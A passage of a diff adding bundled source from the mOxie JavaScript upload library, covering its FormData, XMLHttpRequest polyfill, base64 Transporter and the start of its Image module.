+				});
+
+				if (_blob) {
+					cb(_blob.value, _blob.name);
+				}
+			},
+
+			destroy: function() {
+				_blob = null;
+				_fields = [];
+			}
+		});
+	}
+
+	return FormData;
+});
+
+// Included from: src/javascript/xhr/XMLHttpRequest.js
+
+/**
+ * XMLHttpRequest.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define("moxie/xhr/XMLHttpRequest", [
+	"moxie/core/utils/Basic",
+	"moxie/core/Exceptions",
+	"moxie/core/EventTarget",
+	"moxie/core/utils/Encode",
+	"moxie/core/utils/Url",
+	"moxie/runtime/Runtime",
+	"moxie/runtime/RuntimeTarget",
+	"moxie/file/Blob",
+	"moxie/file/FileReaderSync",
+	"moxie/xhr/FormData",
+	"moxie/core/utils/Env",
+	"moxie/core/utils/Mime"
+], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) {
+
+	var httpCode = {
+		100: 'Continue',
+		101: 'Switching Protocols',
+		102: 'Processing',
+
+		200: 'OK',
+		201: 'Created',
+		202: 'Accepted',
+		203: 'Non-Authoritative Information',
+		204: 'No Content',
+		205: 'Reset Content',
+		206: 'Partial Content',
+		207: 'Multi-Status',
+		226: 'IM Used',
+
+		300: 'Multiple Choices',
+		301: 'Moved Permanently',
+		302: 'Found',
+		303: 'See Other',
+		304: 'Not Modified',
+		305: 'Use Proxy',
+		306: 'Reserved',
+		307: 'Temporary Redirect',
+
+		400: 'Bad Request',
+		401: 'Unauthorized',
+		402: 'Payment Required',
+		403: 'Forbidden',
+		404: 'Not Found',
+		405: 'Method Not Allowed',
+		406: 'Not Acceptable',
+		407: 'Proxy Authentication Required',
+		408: 'Request Timeout',
+		409: 'Conflict',
+		410: 'Gone',
+		411: 'Length Required',
+		412: 'Precondition Failed',
+		413: 'Request Entity Too Large',
+		414: 'Request-URI Too Long',
+		415: 'Unsupported Media Type',
+		416: 'Requested Range Not Satisfiable',
+		417: 'Expectation Failed',
+		422: 'Unprocessable Entity',
+		423: 'Locked',
+		424: 'Failed Dependency',
+		426: 'Upgrade Required',
+
+		500: 'Internal Server Error',
+		501: 'Not Implemented',
+		502: 'Bad Gateway',
+		503: 'Service Unavailable',
+		504: 'Gateway Timeout',
+		505: 'HTTP Version Not Supported',
+		506: 'Variant Also Negotiates',
+		507: 'Insufficient Storage',
+		510: 'Not Extended'
+	};
+
+	function XMLHttpRequestUpload() {
+		this.uid = Basic.guid('uid_');
+	}
+	
+	XMLHttpRequestUpload.prototype = EventTarget.instance;
+
+	/**
+	Implementation of XMLHttpRequest
+
+	@class XMLHttpRequest
+	@constructor
+	@uses RuntimeClient
+	@extends EventTarget
+	*/
+	var dispatches = [
+		'loadstart',
+
+		'progress',
+
+		'abort',
+
+		'error',
+
+		'load',
+
+		'timeout',
+
+		'loadend'
+
+		// readystatechange (for historical reasons)
+	]; 
+	
+	var NATIVE = 1, RUNTIME = 2;
+					
+	function XMLHttpRequest() {
+		var self = this,
+			// this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible
+			props = {
+				/**
+				The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout.
+
+				@property timeout
+				@type Number
+				@default 0
+				*/
+				timeout: 0,
+
+				/**
+				Current state, can take following values:
+				UNSENT (numeric value 0)
+				The object has been constructed.
+
+				OPENED (numeric value 1)
+				The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method.
+
+				HEADERS_RECEIVED (numeric value 2)
+				All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available.
+
+				LOADING (numeric value 3)
+				The response entity body is being received.
+
+				DONE (numeric value 4)
+
+				@property readyState
+				@type Number
+				@default 0 (UNSENT)
+				*/
+				readyState: XMLHttpRequest.UNSENT,
+
+				/**
+				True when user credentials are to be included in a cross-origin request. False when they are to be excluded
+				in a cross-origin request and when cookies are to be ignored in its response. Initially false.
+
+				@property withCredentials
+				@type Boolean
+				@default false
+				*/
+				withCredentials: false,
+
+				/**
+				Returns the HTTP status code.
+
+				@property status
+				@type Number
+				@default 0
+				*/
+				status: 0,
+
+				/**
+				Returns the HTTP status text.
+
+				@property statusText
+				@type String
+				*/
+				statusText: "",
+
+				/**
+				Returns the response type. Can be set to change the response type. Values are:
+				the empty string (default), "arraybuffer", "blob", "document", "json", and "text".
+				
+				@property responseType
+				@type String
+				*/
+				responseType: "",
+
+				/**
+				Returns the document response entity body.
+				
+				Throws an "InvalidStateError" exception if responseType is not the empty string or "document".
+
+				@property responseXML
+				@type Document
+				*/
+				responseXML: null,
+
+				/**
+				Returns the text response entity body.
+				
+				Throws an "InvalidStateError" exception if responseType is not the empty string or "text".
+
+				@property responseText
+				@type String
+				*/
+				responseText: null,
+
+				/**
+				Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body).
+				Can become: ArrayBuffer, Blob, Document, JSON, Text
+				
+				@property response
+				@type Mixed
+				*/
+				response: null
+			},
+
+			_async = true,
+			_url,
+			_method,
+			_headers = {},
+			_user,
+			_password,
+			_encoding = null,
+			_mimeType = null,
+
+			// flags
+			_sync_flag = false,
+			_send_flag = false,
+			_upload_events_flag = false,
+			_upload_complete_flag = false,
+			_error_flag = false,
+			_same_origin_flag = false,
+
+			// times
+			_start_time,
+			_timeoutset_time,
+
+			_finalMime = null,
+			_finalCharset = null,
+
+			_options = {},
+			_xhr,
+			_responseHeaders = '',
+			_responseHeadersBag
+			;
+
+		
+		Basic.extend(this, props, {
+			/**
+			Unique id of the component
+
+			@property uid
+			@type String
+			*/
+			uid: Basic.guid('uid_'),
+			
+			/**
+			Target for Upload events
+
+			@property upload
+			@type XMLHttpRequestUpload
+			*/
+			upload: new XMLHttpRequestUpload(),
+			
+
+			/**
+			Sets the request method, request URL, synchronous flag, request username, and request password.
+
+			Throws a "SyntaxError" exception if one of the following is true:
+
+			method is not a valid HTTP method.
+			url cannot be resolved.
+			url contains the "user:password" format in the userinfo production.
+			Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK.
+
+			Throws an "InvalidAccessError" exception if one of the following is true:
+
+			Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin.
+			There is an associated XMLHttpRequest document and either the timeout attribute is not zero,
+			the withCredentials attribute is true, or the responseType attribute is not the empty string.
+
+
+			@method open
+			@param {String} method HTTP method to use on request
+			@param {String} url URL to request
+			@param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default.
+			@param {String} [user] Username to use in HTTP authentication process on server-side
+			@param {String} [password] Password to use in HTTP authentication process on server-side
+			*/
+			open: function(method, url, async, user, password) {
+				var urlp;
+				
+				// first two arguments are required
+				if (!method || !url) {
+					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
+				}
+				
+				// 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method
+				if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) {
+					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
+				}
+
+				// 3
+				if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) {
+					_method = method.toUpperCase();
+				}
+				
+				
+				// 4 - allowing these methods poses a security risk
+				if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) {
+					throw new x.DOMException(x.DOMException.SECURITY_ERR);
+				}
+
+				// 5
+				url = Encode.utf8_encode(url);
+				
+				// 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError".
+				urlp = Url.parseUrl(url);
+
+				_same_origin_flag = Url.hasSameOrigin(urlp);
+																
+				// 7 - manually build up absolute url
+				_url = Url.resolveUrl(url);
+		
+				// 9-10, 12-13
+				if ((user || password) && !_same_origin_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
+				}
+
+				_user = user || urlp.user;
+				_password = password || urlp.pass;
+				
+				// 11
+				_async = async || true;
+				
+				if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) {
+					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
+				}
+				
+				// 14 - terminate abort()
+				
+				// 15 - terminate send()
+
+				// 18
+				_sync_flag = !_async;
+				_send_flag = false;
+				_headers = {};
+				_reset.call(this);
+
+				// 19
+				_p('readyState', XMLHttpRequest.OPENED);
+				
+				// 20
+				this.dispatchEvent('readystatechange');
+			},
+			
+			/**
+			Appends an header to the list of author request headers, or if header is already
+			in the list of author request headers, combines its value with value.
+
+			Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
+			Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value
+			is not a valid HTTP header field value.
+			
+			@method setRequestHeader
+			@param {String} header
+			@param {String|Number} value
+			*/
+			setRequestHeader: function(header, value) {
+				var uaHeaders = [ // these headers are controlled by the user agent
+						"accept-charset",
+						"accept-encoding",
+						"access-control-request-headers",
+						"access-control-request-method",
+						"connection",
+						"content-length",
+						"cookie",
+						"cookie2",
+						"content-transfer-encoding",
+						"date",
+						"expect",
+						"host",
+						"keep-alive",
+						"origin",
+						"referer",
+						"te",
+						"trailer",
+						"transfer-encoding",
+						"upgrade",
+						"user-agent",
+						"via"
+					];
+				
+				// 1-2
+				if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				// 3
+				if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) {
+					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
+				}
+
+				// 4
+				/* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values
+				if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) {
+					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
+				}*/
+
+				header = Basic.trim(header).toLowerCase();
+				
+				// setting of proxy-* and sec-* headers is prohibited by spec
+				if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) {
+					return false;
+				}
+
+				// camelize
+				// browsers lowercase header names (at least for custom ones)
+				// header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); });
+				
+				if (!_headers[header]) {
+					_headers[header] = value;
+				} else {
+					// http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph)
+					_headers[header] += ', ' + value;
+				}
+				return true;
+			},
+
+			/**
+			Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2.
+
+			@method getAllResponseHeaders
+			@return {String} reponse headers or empty string
+			*/
+			getAllResponseHeaders: function() {
+				return _responseHeaders || '';
+			},
+
+			/**
+			Returns the header field value from the response of which the field name matches header, 
+			unless the field name is Set-Cookie or Set-Cookie2.
+
+			@method getResponseHeader
+			@param {String} header
+			@return {String} value(s) for the specified header or null
+			*/
+			getResponseHeader: function(header) {
+				header = header.toLowerCase();
+
+				if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) {
+					return null;
+				}
+
+				if (_responseHeaders && _responseHeaders !== '') {
+					// if we didn't parse response headers until now, do it and keep for later
+					if (!_responseHeadersBag) {
+						_responseHeadersBag = {};
+						Basic.each(_responseHeaders.split(/\r\n/), function(line) {
+							var pair = line.split(/:\s+/);
+							if (pair.length === 2) { // last line might be empty, omit
+								pair[0] = Basic.trim(pair[0]); // just in case
+								_responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form
+									header: pair[0],
+									value: Basic.trim(pair[1])
+								};
+							}
+						});
+					}
+					if (_responseHeadersBag.hasOwnProperty(header)) {
+						return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value;
+					}
+				}
+				return null;
+			},
+			
+			/**
+			Sets the Content-Type header for the response to mime.
+			Throws an "InvalidStateError" exception if the state is LOADING or DONE.
+			Throws a "SyntaxError" exception if mime is not a valid media type.
+
+			@method overrideMimeType
+			@param String mime Mime type to set
+			*/
+			overrideMimeType: function(mime) {
+				var matches, charset;
+			
+				// 1
+				if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				// 2
+				mime = Basic.trim(mime.toLowerCase());
+
+				if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) {
+					mime = matches[1];
+					if (matches[2]) {
+						charset = matches[2];
+					}
+				}
+
+				if (!Mime.mimes[mime]) {
+					throw new x.DOMException(x.DOMException.SYNTAX_ERR);
+				}
+
+				// 3-4
+				_finalMime = mime;
+				_finalCharset = charset;
+			},
+			
+			/**
+			Initiates the request. The optional argument provides the request entity body.
+			The argument is ignored if request method is GET or HEAD.
+
+			Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
+
+			@method send
+			@param {Blob|Document|String|FormData} [data] Request entity body
+			@param {Object} [options] Set of requirements and pre-requisities for runtime initialization
+			*/
+			send: function(data, options) {					
+				if (Basic.typeOf(options) === 'string') {
+					_options = { ruid: options };
+				} else if (!options) {
+					_options = {};
+				} else {
+					_options = options;
+				}
+															
+				// 1-2
+				if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+				
+				// 3					
+				// sending Blob
+				if (data instanceof Blob) {
+					_options.ruid = data.ruid;
+					_mimeType = data.type || 'application/octet-stream';
+				}
+				
+				// FormData
+				else if (data instanceof FormData) {
+					if (data.hasBlob()) {
+						var blob = data.getBlob();
+						_options.ruid = blob.ruid;
+						_mimeType = blob.type || 'application/octet-stream';
+					}
+				}
+				
+				// DOMString
+				else if (typeof data === 'string') {
+					_encoding = 'UTF-8';
+					_mimeType = 'text/plain;charset=UTF-8';
+					
+					// data should be converted to Unicode and encoded as UTF-8
+					data = Encode.utf8_encode(data);
+				}
+
+				// if withCredentials not set, but requested, set it automatically
+				if (!this.withCredentials) {
+					this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag;
+				}
+
+				// 4 - storage mutex
+				// 5
+				_upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP
+				// 6
+				_error_flag = false;
+				// 7
+				_upload_complete_flag = !data;
+				// 8 - Asynchronous steps
+				if (!_sync_flag) {
+					// 8.1
+					_send_flag = true;
+					// 8.2
+					// this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
+					// 8.3
+					//if (!_upload_complete_flag) {
+						// this.upload.dispatchEvent('loadstart');	// will be dispatched either by native or runtime xhr
+					//}
+				}
+				// 8.5 - Return the send() method call, but continue running the steps in this algorithm.
+				_doXHR.call(this, data);
+			},
+			
+			/**
+			Cancels any network activity.
+			
+			@method abort
+			*/
+			abort: function() {
+				_error_flag = true;
+				_sync_flag = false;
+
+				if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) {
+					_p('readyState', XMLHttpRequest.DONE);
+					_send_flag = false;
+
+					if (_xhr) {
+						_xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag);
+					} else {
+						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+					}
+
+					_upload_complete_flag = true;
+				} else {
+					_p('readyState', XMLHttpRequest.UNSENT);
+				}
+			},
+
+			destroy: function() {
+				if (_xhr) {
+					if (Basic.typeOf(_xhr.destroy) === 'function') {
+						_xhr.destroy();
+					}
+					_xhr = null;
+				}
+
+				this.unbindAll();
+
+				if (this.upload) {
+					this.upload.unbindAll();
+					this.upload = null;
+				}
+			}
+		});
+
+		this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons
+		this.upload.handleEventProps(dispatches);
+
+		/* this is nice, but maybe too lengthy
+
+		// if supported by JS version, set getters/setters for specific properties
+		o.defineProperty(this, 'readyState', {
+			configurable: false,
+
+			get: function() {
+				return _p('readyState');
+			}
+		});
+
+		o.defineProperty(this, 'timeout', {
+			configurable: false,
+
+			get: function() {
+				return _p('timeout');
+			},
+
+			set: function(value) {
+
+				if (_sync_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
+				}
+
+				// timeout still should be measured relative to the start time of request
+				_timeoutset_time = (new Date).getTime();
+
+				_p('timeout', value);
+			}
+		});
+
+		// the withCredentials attribute has no effect when fetching same-origin resources
+		o.defineProperty(this, 'withCredentials', {
+			configurable: false,
+
+			get: function() {
+				return _p('withCredentials');
+			},
+
+			set: function(value) {
+				// 1-2
+				if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				// 3-4
+				if (_anonymous_flag || _sync_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
+				}
+
+				// 5
+				_p('withCredentials', value);
+			}
+		});
+
+		o.defineProperty(this, 'status', {
+			configurable: false,
+
+			get: function() {
+				return _p('status');
+			}
+		});
+
+		o.defineProperty(this, 'statusText', {
+			configurable: false,
+
+			get: function() {
+				return _p('statusText');
+			}
+		});
+
+		o.defineProperty(this, 'responseType', {
+			configurable: false,
+
+			get: function() {
+				return _p('responseType');
+			},
+
+			set: function(value) {
+				// 1
+				if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				// 2
+				if (_sync_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
+				}
+
+				// 3
+				_p('responseType', value.toLowerCase());
+			}
+		});
+
+		o.defineProperty(this, 'responseText', {
+			configurable: false,
+
+			get: function() {
+				// 1
+				if (!~o.inArray(_p('responseType'), ['', 'text'])) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				// 2-3
+				if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				return _p('responseText');
+			}
+		});
+
+		o.defineProperty(this, 'responseXML', {
+			configurable: false,
+
+			get: function() {
+				// 1
+				if (!~o.inArray(_p('responseType'), ['', 'document'])) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				// 2-3
+				if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+
+				return _p('responseXML');
+			}
+		});
+
+		o.defineProperty(this, 'response', {
+			configurable: false,
+
+			get: function() {
+				if (!!~o.inArray(_p('responseType'), ['', 'text'])) {
+					if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
+						return '';
+					}
+				}
+
+				if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
+					return null;
+				}
+
+				return _p('response');
+			}
+		});
+
+		*/
+
+		function _p(prop, value) {
+			if (!props.hasOwnProperty(prop)) {
+				return;
+			}
+			if (arguments.length === 1) { // get
+				return Env.can('define_property') ? props[prop] : self[prop];
+			} else { // set
+				if (Env.can('define_property')) {
+					props[prop] = value;
+				} else {
+					self[prop] = value;
+				}
+			}
+		}
+		
+		/*
+		function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) {
+			// TODO: http://tools.ietf.org/html/rfc3490#section-4.1
+			return str.toLowerCase();
+		}
+		*/
+		
+		
+		function _doXHR(data) {
+			var self = this;
+			
+			_start_time = new Date().getTime();
+
+			_xhr = new RuntimeTarget();
+
+			function loadEnd() {
+				if (_xhr) { // it could have been destroyed by now
+					_xhr.destroy();
+					_xhr = null;
+				}
+				self.dispatchEvent('loadend');
+				self = null;
+			}
+
+			function exec(runtime) {
+				_xhr.bind('LoadStart', function(e) {
+					_p('readyState', XMLHttpRequest.LOADING);
+					self.dispatchEvent('readystatechange');
+
+					self.dispatchEvent(e);
+					
+					if (_upload_events_flag) {
+						self.upload.dispatchEvent(e);
+					}
+				});
+				
+				_xhr.bind('Progress', function(e) {
+					if (_p('readyState') !== XMLHttpRequest.LOADING) {
+						_p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example)
+						self.dispatchEvent('readystatechange');
+					}
+					self.dispatchEvent(e);
+				});
+				
+				_xhr.bind('UploadProgress', function(e) {
+					if (_upload_events_flag) {
+						self.upload.dispatchEvent({
+							type: 'progress',
+							lengthComputable: false,
+							total: e.total,
+							loaded: e.loaded
+						});
+					}
+				});
+				
+				_xhr.bind('Load', function(e) {
+					_p('readyState', XMLHttpRequest.DONE);
+					_p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0));
+					_p('statusText', httpCode[_p('status')] || "");
+					
+					_p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType')));
+
+					if (!!~Basic.inArray(_p('responseType'), ['text', ''])) {
+						_p('responseText', _p('response'));
+					} else if (_p('responseType') === 'document') {
+						_p('responseXML', _p('response'));
+					}
+
+					_responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders');
+
+					self.dispatchEvent('readystatechange');
+					
+					if (_p('status') > 0) { // status 0 usually means that server is unreachable
+						if (_upload_events_flag) {
+							self.upload.dispatchEvent(e);
+						}
+						self.dispatchEvent(e);
+					} else {
+						_error_flag = true;
+						self.dispatchEvent('error');
+					}
+					loadEnd();
+				});
+
+				_xhr.bind('Abort', function(e) {
+					self.dispatchEvent(e);
+					loadEnd();
+				});
+				
+				_xhr.bind('Error', function(e) {
+					_error_flag = true;
+					_p('readyState', XMLHttpRequest.DONE);
+					self.dispatchEvent('readystatechange');
+					_upload_complete_flag = true;
+					self.dispatchEvent(e);
+					loadEnd();
+				});
+
+				runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', {
+					url: _url,
+					method: _method,
+					async: _async,
+					user: _user,
+					password: _password,
+					headers: _headers,
+					mimeType: _mimeType,
+					encoding: _encoding,
+					responseType: self.responseType,
+					withCredentials: self.withCredentials,
+					options: _options
+				}, data);
+			}
+
+			// clarify our requirements
+			if (typeof(_options.required_caps) === 'string') {
+				_options.required_caps = Runtime.parseCaps(_options.required_caps);
+			}
+
+			_options.required_caps = Basic.extend({}, _options.required_caps, {
+				return_response_type: self.responseType
+			});
+
+			if (data instanceof FormData) {
+				_options.required_caps.send_multipart = true;
+			}
+
+			if (!Basic.isEmptyObj(_headers)) {
+				_options.required_caps.send_custom_headers = true;
+			}
+
+			if (!_same_origin_flag) {
+				_options.required_caps.do_cors = true;
+			}
+			
+
+			if (_options.ruid) { // we do not need to wait if we can connect directly
+				exec(_xhr.connectRuntime(_options));
+			} else {
+				_xhr.bind('RuntimeInit', function(e, runtime) {
+					exec(runtime);
+				});
+				_xhr.bind('RuntimeError', function(e, err) {
+					self.dispatchEvent('RuntimeError', err);
+				});
+				_xhr.connectRuntime(_options);
+			}
+		}
+	
+		
+		function _reset() {
+			_p('responseText', "");
+			_p('responseXML', null);
+			_p('response', null);
+			_p('status', 0);
+			_p('statusText', "");
+			_start_time = _timeoutset_time = null;
+		}
+	}
+
+	XMLHttpRequest.UNSENT = 0;
+	XMLHttpRequest.OPENED = 1;
+	XMLHttpRequest.HEADERS_RECEIVED = 2;
+	XMLHttpRequest.LOADING = 3;
+	XMLHttpRequest.DONE = 4;
+	
+	XMLHttpRequest.prototype = EventTarget.instance;
+
+	return XMLHttpRequest;
+});
+
+// Included from: src/javascript/runtime/Transporter.js
+
+/**
+ * Transporter.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define("moxie/runtime/Transporter", [
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Encode",
+	"moxie/runtime/RuntimeClient",
+	"moxie/core/EventTarget"
+], function(Basic, Encode, RuntimeClient, EventTarget) {
+	function Transporter() {
+		var mod, _runtime, _data, _size, _pos, _chunk_size;
+
+		RuntimeClient.call(this);
+
+		Basic.extend(this, {
+			uid: Basic.guid('uid_'),
+
+			state: Transporter.IDLE,
+
+			result: null,
+
+			transport: function(data, type, options) {
+				var self = this;
+
+				options = Basic.extend({
+					chunk_size: 204798
+				}, options);
+
+				// should divide by three, base64 requires this
+				if ((mod = options.chunk_size % 3)) {
+					options.chunk_size += 3 - mod;
+				}
+
+				_chunk_size = options.chunk_size;
+
+				_reset.call(this);
+				_data = data;
+				_size = data.length;
+
+				if (Basic.typeOf(options) === 'string' || options.ruid) {
+					_run.call(self, type, this.connectRuntime(options));
+				} else {
+					// we require this to run only once
+					var cb = function(e, runtime) {
+						self.unbind("RuntimeInit", cb);
+						_run.call(self, type, runtime);
+					};
+					this.bind("RuntimeInit", cb);
+					this.connectRuntime(options);
+				}
+			},
+
+			abort: function() {
+				var self = this;
+
+				self.state = Transporter.IDLE;
+				if (_runtime) {
+					_runtime.exec.call(self, 'Transporter', 'clear');
+					self.trigger("TransportingAborted");
+				}
+
+				_reset.call(self);
+			},
+
+
+			destroy: function() {
+				this.unbindAll();
+				_runtime = null;
+				this.disconnectRuntime();
+				_reset.call(this);
+			}
+		});
+
+		function _reset() {
+			_size = _pos = 0;
+			_data = this.result = null;
+		}
+
+		function _run(type, runtime) {
+			var self = this;
+
+			_runtime = runtime;
+
+			//self.unbind("RuntimeInit");
+
+			self.bind("TransportingProgress", function(e) {
+				_pos = e.loaded;
+
+				if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) {
+					_transport.call(self);
+				}
+			}, 999);
+
+			self.bind("TransportingComplete", function() {
+				_pos = _size;
+				self.state = Transporter.DONE;
+				_data = null; // clean a bit
+				self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || '');
+			}, 999);
+
+			self.state = Transporter.BUSY;
+			self.trigger("TransportingStarted");
+			_transport.call(self);
+		}
+
+		function _transport() {
+			var self = this,
+				chunk,
+				bytesLeft = _size - _pos;
+
+			if (_chunk_size > bytesLeft) {
+				_chunk_size = bytesLeft;
+			}
+
+			chunk = Encode.btoa(_data.substr(_pos, _chunk_size));
+			_runtime.exec.call(self, 'Transporter', 'receive', chunk, _size);
+		}
+	}
+
+	Transporter.IDLE = 0;
+	Transporter.BUSY = 1;
+	Transporter.DONE = 2;
+
+	Transporter.prototype = EventTarget.instance;
+
+	return Transporter;
+});
+
+// Included from: src/javascript/image/Image.js
+
+/**
+ * Image.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define("moxie/image/Image", [
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Dom",
+	"moxie/core/Exceptions",
+	"moxie/file/FileReaderSync",
+	"moxie/xhr/XMLHttpRequest",
+	"moxie/runtime/Runtime",
+	"moxie/runtime/RuntimeClient",
+	"moxie/runtime/Transporter",
+	"moxie/core/utils/Env",
+	"moxie/core/EventTarget",
+	"moxie/file/Blob",
+	"moxie/file/File",
+	"moxie/core/utils/Encode"
+], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) {
+	/**
+	Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data.
+
+	@class Image
+	@constructor
+	@extends EventTarget
+	*/
+	var dispatches = [
+		'progress',
+
+		/**
+		Dispatched when loading is complete.
+
+		@event load
+		@param {Object} event
+		*/
+		'load',
+
+		'error',
+
+		/**
+		Dispatched when resize operation is complete.
+		
+		@event resize
+		@param {Object} event
+		*/
+		'resize',
+
+		/**
+		Dispatched when visual representation of the image is successfully embedded
+		into the corresponsing container.
+
+		@event embedded
+		@param {Object} event
+		*/
+		'embedded'
+	];
+
+	function Image() {
+
+		RuntimeClient.call(this);
+
+		Basic.extend(this, {
+			/**
+			Unique id of the component
+
+			@property uid
+			@type {String}
+			*/
+			uid: Basic.guid('uid_'),
+
+			/**
+			Unique id of the connected runtime, if any.
+
+			@property ruid
+			@type {String}
+			*/
+			ruid: null,
+
+			/**
+			Name of the file, that was used to create an image, if available. If not equals to empty string.
+
+			@property name
+			@type {String}
+			@default ""
+			*/
+			name: "",
+
+			/**
+			Size of the image in bytes. Actual value is set only after image is preloaded.
+
+			@property size
+			@type {Number}
+			@default 0
+			*/
+			size: 0,
+
+			/**
+			Width of the image. Actual value is set only after image is preloaded.
+
+			@property width
+			@type {Number}
+			@default 0
+			*/
+			width: 0,
+
+			/**
+			Height of the image. Actual value is set only after image is preloaded.
+
+			@property height
+			@type {Number}
+			@default 0
+			*/
+			height: 0,
+
+			/**
+			Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded.
+
+			@property type
+			@type {String}
+			@default ""
+			*/
+			type: "",
+
+			/**
+			Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded.
+
+			@property meta
+			@type {Object}
+			@default {}
+			*/
+			meta: {},
+
+			/**
+			Alias for load method, that takes another mOxie.Image object as a source (see load).
+
+			@method clone
+			@param {Image} src Source for the image
+			@param {Boolean} [exact=false] Whether to activate in-depth clone mode
+			*/
+			clone: function() {
+				this.load.apply(this, arguments);
+			},
+
+			/**
+			Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File, 
